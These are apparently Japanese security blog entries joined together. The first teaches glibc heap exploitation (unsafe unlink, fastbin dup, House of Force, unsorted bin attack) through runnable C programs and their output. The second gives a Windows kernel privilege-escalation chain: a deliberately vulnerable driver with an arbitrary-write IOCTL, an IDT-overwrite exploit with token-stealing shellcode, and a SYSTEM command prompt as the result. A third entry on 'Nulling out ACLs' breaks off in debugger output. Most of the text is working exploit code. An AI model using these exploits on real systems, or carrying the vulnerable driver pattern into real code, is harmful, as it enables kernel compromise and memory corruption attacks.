$ ./large_chunks_in_heap
[+] allocate p1
p1 = 0x7fbc43aa0010

[+] free p1

[+] allocate p2, p3, p4
p2 = 0x16db420
p3 = 0x16fc430
p4 = 0x171d440

unsafe unlink attack

古くに存在した攻撃手法としてunlink attackが知られているが、glibc 2.3.4以降、次に示すようなチェックによりこの攻撃は防がれている(safe unlinking)。

1413 /* Take a chunk off a bin list */
1414 #define unlink(AV, P, BK, FD) {                                            \
1415     FD = P->fd;                                                               \
1416     BK = P->bk;                                                               \
1417     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     \  /* <- here */
1418       malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
1419     else {                                                                    \
1420         FD->bk = BK;                                                          \
1421         BK->fd = FD;                                                          \
1422         if (!in_smallbin_range (P->size)                                      \
1423             && __builtin_expect (P->fd_nextsize != NULL, 0)) {                \
1424             if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
1425                 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
1426               malloc_printerr (check_action,                                  \
1427                                "corrupted double-linked list (not small)",    \
1428                                P, AV);                                        \
1429             if (FD->fd_nextsize == NULL) {                                    \
1430                 if (P->fd_nextsize == P)                                      \
1431                   FD->fd_nextsize = FD->bk_nextsize = FD;                     \
1432                 else {                                                        \
1433                     FD->fd_nextsize = P->fd_nextsize;                         \
1434                     FD->bk_nextsize = P->bk_nextsize;                         \
1435                     P->fd_nextsize->bk_nextsize = FD;                         \
1436                     P->bk_nextsize->fd_nextsize = FD;                         \
1437                   }                                                           \
1438               } else {                                                        \
1439                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;                 \
1440                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;                 \
1441               }                                                               \
1442           }                                                                   \
1443       }                                                                       \
1444 }

しかし、mallocで確保される領域のポインタがbss領域など推測可能なアドレスに配置される場合、偽のfreed chunkを作ることによりこのポインタ自体を書き換えることができる。

/* unsafe_unlink.c */
#include <stdio.h>
#include <stdlib.h>

void jackpot() { puts("jackpot!"); }

char *p;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p and p1");
    p = malloc(0x40);
    char *p1 = malloc(0x80);
    printf("p = %p\n", p);
    printf("p1 = %p\n", p1);
    printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
    printf("p1->size = %p\n", *(void **)(p1-0x8));

    puts("\n[+] abuse p overflow");
    *(void **)(p+0x10) = (void *)&p-0x18;
    *(void **)(p+0x18) = (void *)&p-0x10;
    *(void **)(p+0x40) = 0x40;
    *(void **)(p+0x48) = 0x90;
    printf("p->fd->bk = %p\n", *(void **)(p+0x10)+0x18);
    printf("p->bk->fd = %p\n", *(void **)(p+0x18)+0x10);
    printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
    printf("p1->size = %p\n", *(void **)(p1-0x8));

    puts("\n[+] free p1 (p <- &p-0x18)");
    free(p1);
    printf("p = %p\n", p);

    puts("\n[+] modify p and write *p");
    *(void **)(p+0x18) = 0x601028;  /* printf@got */
    *(void **)p = jackpot;

    printf("p = %p\n", p);
    return 0;
}
$ gcc unsafe_unlink.c -o unsafe_unlink
unsafe_unlink.c: In function ‘main’:
unsafe_unlink.c:24:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x40) = 0x40;
                        ^
unsafe_unlink.c:25:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x48) = 0x90;
                        ^
unsafe_unlink.c:36:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x18) = 0x601028;  /* printf@got */
                        ^

$ ./unsafe_unlink
&p = 0x601058

[+] allocate p and p1
p = 0x20bc420
p1 = 0x20bc470
p1->prev_size = (nil)
p1->size = 0x91

[+] abuse p overflow
p->fd->bk = 0x601058
p->bk->fd = 0x601058
p1->prev_size = 0x40
p1->size = 0x90

[+] free p1 (p <- &p-0x18)
p = 0x601040

[+] modify p and write *p
jackpot!

追記

上のコードで行っているPREV_INUSEクリア→prev_sizeをfake chunkに向ける→unsafe unlink attackという流れはHouse of Einherjarとして公表されている。 Einherjarは古ノルド語で、エインヘリャルと読む。 厳密には、fake chunkのfd、bkをfake chunk自身に向け、そのアドレスを返させるものを指すのかもしれない。

fastbins unlink attack

通常0x80=128バイト(M_MXFAST)未満のメモリをallocすると、その領域はfastbinsと呼ばれる特別なfree listに繋がれるchunkとして扱われる。 さらに、fastbins chunkがunlinkされる際のチェックは、通常のunlinkとは異なり、p->fd->sizeが正しいかどうかのみとなる。 これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、次のようにして攻撃を行うことができる。

/* fastbins_unlink.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

void *n = 0x51;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p1, p2");
    char *p1 = malloc(0x20);
    char *p2 = malloc(0x40);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x28) = 0x51;
    *(void **)(p1+0x30) = (void *)&p - 0x10;
    printf("p2->size = %p\n", *(void **)(p2-0x8));
    printf("p2->fd = %p\n", *(void **)(p2+0x0));

    puts("\n[+] unlink p2");
    char *p3 = malloc(0x40);
    printf("p3 = %p\n", p3);

    puts("\n[+] get target memory");
    char *p4 = malloc(0x40);
    printf("p4 = %p\n", p4);
    *(void **)p4 = jackpot;

    p();
    return 0;
}
$ gcc fastbins_unlink.c -o fastbins_unlink
fastbins_unlink.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
 void *n = 0x51;
           ^
fastbins_unlink.c: In function ‘main’:
fastbins_unlink.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x28) = 0x51;
                         ^

$ ./fastbins_unlink
&p = 0x601058

[+] allocate p1, p2
p1 = 0x1ac6420
p2 = 0x1ac6450

[+] free p2

[+] abuse p1 overflow
p2->size = 0x51
p2->fd = 0x601048

[+] unlink p2
p3 = 0x1ac6450

[+] get target memory
p4 = 0x601058
jackpot!

fastbin dup into stack

fastbinsは片方向リストとなっているため、p1、p2、p1のようにfreeすることでp1を2回free listに入れることができる。 したがって、その後同一サイズのchunkを3回mallocすると、1回目と3回目で同一のchunkがunlinkされることになる。 これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、1回目で確保したchunkの p->fd を書き換えることでfastbins unlink attackを行うことができる。 なお、慣習的にinto stackと呼ばれているが、条件を満たすアドレスであればstack上のアドレスに限らず書き換えが可能である。

/* fastbin_dup_into_stack.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

void *n = 0x51;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p1, p2, p3");
    char *p1 = malloc(0x40);
    char *p2 = malloc(0x40);
    char *p3 = malloc(0x40);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);

    puts("\n[+] free p1, p2, p1");
    free(p1);
    free(p2);
    free(p1);

    puts("\n[+] allocate p4, p5");
    char *p4 = malloc(0x40);
    char *p5 = malloc(0x40);
    printf("p4 = %p\n", p4);
    printf("p5 = %p\n", p5);

    puts("\n[+] write p4->fd");
    *(void **)p4 = (void *)&p - 0x10;
    printf("p4->size = %p\n", *(void **)(p4-0x8));
    printf("p4->fd = %p\n", *(void **)p4);

    puts("\n[+] unlink p4 by allocating p6");
    char *p6 = malloc(0x40);
    printf("p6 = %p\n", p6);

    puts("\n[+] get target memory");
    char *p7 = malloc(0x40);
    printf("p7 = %p\n", p7);
    *(void **)p7 = jackpot;

    p();
    return 0;
}
$ gcc fastbin_dup_into_stack.c -o fastbin_dup_into_stack
fastbin_dup_into_stack.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
 void *n = 0x51;
           ^

$ ./fastbin_dup_into_stack
&p = 0x601058

[+] allocate p1, p2, p3
p1 = 0x1e8e420
p2 = 0x1e8e470
p3 = 0x1e8e4c0

[+] free p1, p2, p1

[+] allocate p4, p5
p4 = 0x1e8e420
p5 = 0x1e8e470

[+] write p4->fd
p4->size = 0x51
p4->fd = 0x601048

[+] unlink p4 by allocating p6
p6 = 0x1e8e420

[+] get target memory
p7 = 0x601058
jackpot!

chunk size overwrite attack

隣接するfreed chunkのサイズを書き換えることにより、次のmallocでそのchunk以降にまたがる大きなchunkを確保することができる。 GHOST脆弱性(CVE-2015-0235)のPoCにて利用された。

/* chunk_size_overwrite.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

int main()
{
    puts("[+] allocate p1, p2, p3");
    char *p1 = malloc(0x80);
    char *p2 = malloc(0x80);
    void (**p3)() = malloc(sizeof(void *));
    *p3 = leave;
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);
    printf("p2->size = %p\n", *(void **)(p2-0x8));
    printf("*p3 = %p\n", *p3);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x88) = 0x1001;
    printf("p2->size = %p\n", *(void **)(p2-0x8));

    puts("\n[+] allocate a large chunk");
    char *p4 = malloc(0x200);
    printf("p4 = %p\n", p4);

    puts("\n[+] overwrite *p3");
    *(void **)(p4+0x90) = jackpot;
    printf("*p3 = %p\n", *p3);

    (*p3)();
    return 0;
}
$ gcc chunk_size_overwrite.c -o chunk_size_overwrite
chunk_size_overwrite.c: In function ‘main’:
chunk_size_overwrite.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x88) = 0x1001;
                         ^

$ ./chunk_size_overwrite
[+] allocate p1, p2, p3
p1 = 0x8ca420
p2 = 0x8ca4b0
p3 = 0x8ca540
p2->size = 0x91
*p3 = 0x4005f6

[+] free p2

[+] abuse p1 overflow
p2->size = 0x1001

[+] allocate a large chunk
p4 = 0x8ca4b0

[+] overwrite *p3
*p3 = 0x400607
jackpot!

House of Force attack

heap領域に並ぶchunkの一番最後(top chunk)のサイズを-1(0xFFFFFFFFFFFFFFFF)のような大きな値で書き換え、さらにサイズを細工した巨大なchunkを確保することにより、次のmallocが返すアドレスを任意の0x10の倍数となるアドレスにすることができる。 これを行うには、以下の条件をすべて満たすことが必要である。

  • top chunkのアドレスが推測可能
  • top chunkのサイズを任意の値に書き換えられる
  • その後任意のサイズのmallocを呼ぶことができる

また、次のmallocが返すアドレスの1ワード前が破壊されることに注意する必要がある。

/* house of force.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

unsigned long junk = 0xdeadbeef;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);
    printf("junk = %lx\n", junk);

    puts("\n[+] allocate p1");
    char *p1 = malloc(0x40);
    char *top_chunk = p1+0x40;
    printf("p1 = %p\n", p1);
    printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x48) = -1;
    printf("top chunk size = %p\n", *(void **)(top_chunk+0x8));

    puts("\n[+] allocate a huge chunk (break &p-0x8)");
    long newsize = (void *)&p-0x10-(void *)(top_chunk+0x10);
    char *p2 = malloc(newsize);
    printf("junk = %lx\n", junk);

    puts("\n[+] get target memory");
    char *p3 = malloc(0x80);
    printf("p3 = %p\n", p3);

    if ((long)&p % 0x10 == 0) {
        *(void **)p3 = jackpot;
    } else {
        *(void **)(p3+0x8) = jackpot;
    }

    p();
    return 0;
}
$ gcc house_of_force.c -o house_of_force
house_of_force.c: In function ‘main’:
house_of_force.c:23:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x48) = -1;
                         ^

$ ./house_of_force
&p = 0x601050
junk = deadbeef

[+] allocate p1
p1 = 0x117f420
top chunk size = 0x20ba1

[+] abuse p1 overflow
top chunk size = 0xffffffffffffffff

[+] allocate a huge chunk (break &p-0x8)
junk = b7e419

[+] get target memory
p3 = 0x601050
jackpot!

unsorted bin attack

fastbin chunkではないchunk(サイズがM_MXFAST以上)のbkを書き換えることにより、推測可能なアドレスにある値を大きな値(&(main_arena->top))に書き換えることができる。

/* unsorted_bin.c */
#include <stdio.h>
#include <stdlib.h>

unsigned long target = 0xdeadbeef;

int main(){
    printf("target = %lx\n", target);

    puts("\n[+] allocate p1, p2, p3");
    char *p1 = malloc(0x80);
    char *p2 = malloc(0x90);
    char *p3 = malloc(0xa0);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);
    printf("p3 = %p\n", p3);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abusing p1 overflow");
    *(void **)(p1+0x98) = (void *)&target-0x10;

    puts("\n[+] allocate p4 with the same size of p2");
    char *p4 = malloc(0x90);
    printf("p4 = %p\n", p4);

    puts("\n[+] target is overwritten with a large number: &(main_arena->top)");
    printf("target = %lx\n", target);
    return 0;
}
$ gcc unsorted_bin.c -o unsorted_bin

$ ./unsorted_bin
target = deadbeef

[+] allocate p1, p2, p3
p1 = 0x1d60420
p2 = 0x1d604b0
p3 = 0x1d60550

[+] free p2

[+] abusing p1 overflow

[+] allocate p4 with the same size of p2
p4 = 0x1d604b0

[+] target is overwritten with a large number: &(main_arena->top)
target = 7fd47489eb78

更新履歴

  • 2016/10/18: double free vulnerabilityによるlibcアドレスのリーク、unsorted bin attackを追記
  • 2018/01/24: fastbin dup into stackを追記

関連リンク

WindowsでIDT overwriteによる権限昇格をやってみる

「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」では、HalDispatchTableの書き換えを行うことでシェルコードの実行を行った。 しかし、HalDispatchTableやその中のポインタを呼び出す関数の実装はOSのメジャーアップデートなどで変更される可能性があるため、将来的に確実であるとは限らない。 そこで、ここではより確実な方法として、Interrupt Descriptor Table(IDT)の書き換えを利用した権限昇格をやってみる。 IDTはx86アーキテクチャの仕様において割り込みの仕組みとともに定義されており、より変更されにくいものであるといえる。

なお、このエントリの内容については次のスライドでも説明している。

環境

Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015

>systeminfo
OS Name:                   Microsoft Windows 8.1 Enterprise Evaluation
OS Version:                6.3.9600 N/A Build 9600
OS Build Type:             Multiprocessor Free
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz

>ml
Microsoft (R) Macro Assembler Version 14.00.23026.0

>dumpbin
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0

脆弱性のあるデバイスドライバを書いてみる

まず、「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様に、脆弱性のあるデバイスドライバを書いてみる。

/* vulndriver.c */
#include <wdm.h>
#include <windef.h>
#pragma warning(disable: 4100)

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD DriverUnload;
DRIVER_DISPATCH handleUnsupported;
DRIVER_DISPATCH handleIOCTL;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNICODE_STRING DeviceName, DosDeviceName;
    PDEVICE_OBJECT DeviceObject;

    RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln");
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");

    IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
    IoCreateSymbolicLink(&DosDeviceName, &DeviceName);

    for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = handleUnsupported;
    }
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL;

    DriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING DosDeviceName;
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");
    IoDeleteSymbolicLink(&DosDeviceName);
    IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    return STATUS_NOT_SUPPORTED;
}

NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp);
    DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    struct ioctl_aaw_arg *arg;

    switch (ioControlCode) {
    case IOCTL_AAW:
        arg = (struct ioctl_aaw_arg *)inputBuffer;
        *(arg->addr) = arg->value;
        break;
    }

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Irp->IoStatus.Status;
}

上のコードは、\\.\Vulnというデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。

プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成したら、scコマンドを使ってこれをロードしておく。

Interrupt Descriptor Table

x86アーキテクチャでは、int命令などにより割り込みが発生するとInterrupt Descriptor Table(IDT)と呼ばれるテーブルに格納されたハンドラ関数(Interrupt Service Routine; ISR)が呼ばれる。 ISRはRing 0(カーネルモード)の権限で実行される。

カーネルデバッグを行い、IDTの内容を調べてみると次のようになる。

kd> !idt -a

Dumping IDT: 81114400

dfe3262500000000:       81d6f4fc nt!KiTrap00
dfe3262500000001:       81d6f6ac nt!KiTrap01
dfe3262500000002:       Task Selector = 0x0058
dfe3262500000003:       81d6fbb0 nt!KiTrap03
dfe3262500000004:       81d6fd78 nt!KiTrap04
(snip)
dfe32625000000fc:       81d6e2b0 nt!KiUnexpectedInterrupt204
dfe32625000000fd:       81c211dc hal!HalpTimerProfileInterrupt
dfe32625000000fe:       81c214c0 hal!HalpPerfInterrupt
dfe32625000000ff:       81d6e2d4 nt!KiUnexpectedInterrupt207


Dumping Secondary IDT: 00000000


kd> dc 81114400
81114400  0008f4fc 81d68e00 0008f6ac 81d68e00  ................
81114410  00580000 00008500 0008fbb0 81d6ee00  ..X.............
81114420  0008fd78 81d6ee00 0008ff20 81d68e00  x....... .......
81114430  000800d4 81d78e00 000807d4 81d78e00  ................
81114440  00500000 00008500 000809e0 81d78e00  ..P.............
81114450  00080b3c 81d78e00 00080cb0 81d78e00  <...............
81114460  00080f70 81d78e00 000812cc 81d78e00  p...............
81114470  00081a34 81d78e00 00081ce8 81d78e00  4...............

IDTの各エントリはInterrupt Gateと呼ばれ、次のような8バイトのデータが格納されている。

f:id:inaz2:20151112235230p:plain

上の結果から、たとえばint3命令により3番の割り込みが発生した際はアドレス81d6fbb0にあるnt!KiTrap03がISRとして実行されることがわかる。 また、Descriptor Privilege Level(DPL)は割り込みが可能なCPUの権限を表しており、3であればRing 3(ユーザモード)からの割り込みが可能であることを意味する。 この場合、3番のGateに対応する0008fbb0 81d6ee00を見るとDPLが3となっており、ユーザモードからの割り込みが可能となっている。

以上を踏まえると、適当な番号のInterrupt GateをDPLを3とした上で書き換えることにより、任意のアドレスに置いたISRを実行できそうなことがわかる。

シェルコードを呼び出すISRを書いてみる

上を踏まえて、適当なシェルコードを呼び出すISRを書いてみると次のようになる。

; isr.asm
.386
.model flat, stdcall
.code

start:
    pushad
    push fs
    mov ax, 30h
    mov fs, ax
    call shellcode
    pop fs
    popad
    iretd

shellcode:
    ret

end start

上のコードでは、まず各レジスタの値をスタックに退避した後、fsセグメントレジスタの値を0x33から0x30に切り替える。 ここで、0x33はユーザモードで参照されるTEB構造体、0x30はカーネルモードで参照されるKPCR構造体にそれぞれ対応する。 そして、ISRの直後に置かれたシェルコードをcallする。 最後に、スタックに退避した値をレジスタに戻し、ret命令の代わりにiretd命令でリターンする。

上のコードをアセンブルし、C文字列に変換すると次のようになる。

>ml isr.asm /link /subsystem:console

>dumpbin /rawdata isr.exe
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file isr.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: 60 0F A0 66 B8 30 00 66 8E E0 E8 04 00 00 00 0F  `..f¸0.f.àè.....
  00401010: A1 61 CF C3                                      ¡aÏÃ

  Summary

        1000 .text

>dumpbin /rawdata isr.exe | powershell -ex remotesigned -f getsc.ps1
\x60\x0F\xA0\x66\xB8\x30\x00\x66\x8E\xE0\xE8\x04\x00\x00\x00\x0F\xA1\x61\xCF\xC3

エクスプロイトコードを書いてみる

ここまでの内容をもとに、IDTの書き換えによりシェルコードを実行するエクスプロイトコードを書くと次のようになる。

/* exploit.c */
#include <windows.h>
#include <stdio.h>

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

void replacePattern(char *buffer, int size, DWORD pattern, DWORD value)
{
    for (int i = 0; i<size; i++) {
        if (*(DWORD *)(buffer + i) == pattern) {
            *(DWORD *)(buffer + i) = value;
        }
    }
}

ULONG sidt() {
#pragma pack(push, 1)
    struct {
        USHORT limit;
        ULONG base;
    } idtr;
#pragma pack(pop)

    __asm {
        sidt idtr;
    }
    return idtr.base;
}

int main()
{
    DWORD BytesReturned;

    char isr[] = "\x60\x0F\xA0\x66\xB8\x30\x00\x66\x8E\xE0\xE8\x04\x00\x00\x00\x0F\xA1\x61\xCF";
    char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3";
    replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId());

    LPVOID rwxMemory = VirtualAlloc((LPVOID)0x41410000, 0x20000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memset(rwxMemory, 0x90, 0x10000);
    memcpy((CHAR *)rwxMemory + 0x10000, isr, sizeof(isr) - 1);
    memcpy((CHAR *)rwxMemory + 0x10000 + sizeof(isr) - 1, shellcode, sizeof(shellcode));

    ULONG idt_base = sidt();

    struct ioctl_aaw_arg arg;
    arg.addr = (CHAR *)idt_base + 8 * 32 + 4;
    arg.value = (DWORD)0x4141ee00;

    HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);
    CloseHandle(hDevice);

    __asm {
        int 32;
    }

    WinExec("cmd", SW_SHOWNORMAL);

    return 0;
}

上のコードの内容を簡単に説明すると次のようになる。

  1. 0x41410000から0x41420000にnop-sled、その直後にISRコードとシェルコードを配置する
  2. sidt命令を用いてIDTが置かれているアドレスを取得する
  3. デバイスドライバ脆弱性を用い、32番のInterrupt GateをISRアドレスの上位2バイトが0x4141、DPLが3となるように書き換える
  4. int命令を用いて32番の割り込みを発生させ、シェルコードを実行させる
  5. コマンドプロンプトを起動する

x86の仕様では32から255の割り込みはユーザ定義とされている(予約されていない)ため、ここでは32番の割り込みについて書き換えを行っている。 また、シェルコードには「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」で作成したReplace Token Shellcodeを利用している。

エクスプロイトコードをコンパイルし実行すると、次のスクリーンショットのようになる。

f:id:inaz2:20151112235259p:plain

whoamiコマンドの結果がnt authority\systemとなっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。

関連リンク

WindowsでNulling out ACLs Shellcodeによる権限昇格をやってみる

「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」では、SystemプロセスのTokenを自身のプロセスのTokenにコピーするシェルコードを使って権限昇格を行った。 この方法のほかに、System権限で動作するプロセスのACLAccess Control List)を書き換え、このプロセスにコードインジェクションを行うことで権限昇格を行う方法が知られている。 この方法はNulling out ACLsと呼ばれる。 ここでは、Nulling out ACLsを行うシェルコードを使った権限昇格をやってみる。

環境

Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015

>systeminfo
OS Name:                   Microsoft Windows 8.1 Enterprise Evaluation
OS Version:                6.3.9600 N/A Build 9600
OS Build Type:             Multiprocessor Free
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz

>ml
Microsoft (R) Macro Assembler Version 14.00.23026.0

>dumpbin
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0

脆弱性のあるデバイスドライバを書いてみる

まず、「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様に、脆弱性のあるデバイスドライバを書いてみる。

/* vulndriver.c */
#include <wdm.h>
#include <windef.h>
#pragma warning(disable: 4100)

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD DriverUnload;
DRIVER_DISPATCH handleUnsupported;
DRIVER_DISPATCH handleIOCTL;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNICODE_STRING DeviceName, DosDeviceName;
    PDEVICE_OBJECT DeviceObject;

    RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln");
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");

    IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
    IoCreateSymbolicLink(&DosDeviceName, &DeviceName);

    for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = handleUnsupported;
    }
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL;

    DriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING DosDeviceName;
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");
    IoDeleteSymbolicLink(&DosDeviceName);
    IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    return STATUS_NOT_SUPPORTED;
}

NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp);
    DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    struct ioctl_aaw_arg *arg;

    switch (ioControlCode) {
    case IOCTL_AAW:
        arg = (struct ioctl_aaw_arg *)inputBuffer;
        *(arg->addr) = arg->value;
        break;
    }

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Irp->IoStatus.Status;
}

上のコードは、\\.\Vulnというデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。

プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成し、あらかじめscコマンドを使ってこれをロードしておく。

Nulling out ACLs Shellcode

EPROCESS構造体を含む多くの構造体には、OBJECT_HEADERと呼ばれるヘッダ情報がある。 カーネルデバッグを行い、これについて調べてみると次のようになる。

kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
(snip)

PROCESS 8ce85700  SessionId: 1  Cid: 01b8    Peb: 7fccf000  ParentCid: 018c
    DirBase: 72799040  ObjectTable: 8e7f6ec0  HandleCount: <Data Not Accessible>

    Image: winlogon.exe

(snip)

kd> dt _OBJECT_HEADER 8ce85700-18
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n433
   +0x004 HandleCount      : 0n12
   +0x004 NextToFree       : 0x0000000c Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0x7 ''
   +0x00d TraceFlags       : 0 ''
   +0x00d DbgRefTrace      : 0y0
   +0x00d DbgTracePermanent : 0y0
   +0x00e InfoMask         : 0x48 'H'
   +0x00f Flags            : 0 ''
   +0x00f NewObject        : 0y0
   +0x00f KernelObject     : 0y0
   +0x00f KernelOnlyAccess : 0y0
   +0x00f ExclusiveObject  : 0y0
   +0x00f PermanentObject  : 0y0
   +0x00f DefaultSecurityQuota : 0y0
   +0x00f SingleHandleEntry : 0y0
   +0x00f DeletedInline    : 0y0
   +0x010 ObjectCreateInfo : 0x8124b700 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x8124b700 Void
   +0x014 SecurityDescriptor : 0x85a07e1b Void
   +0x018 Body             : _QUAD

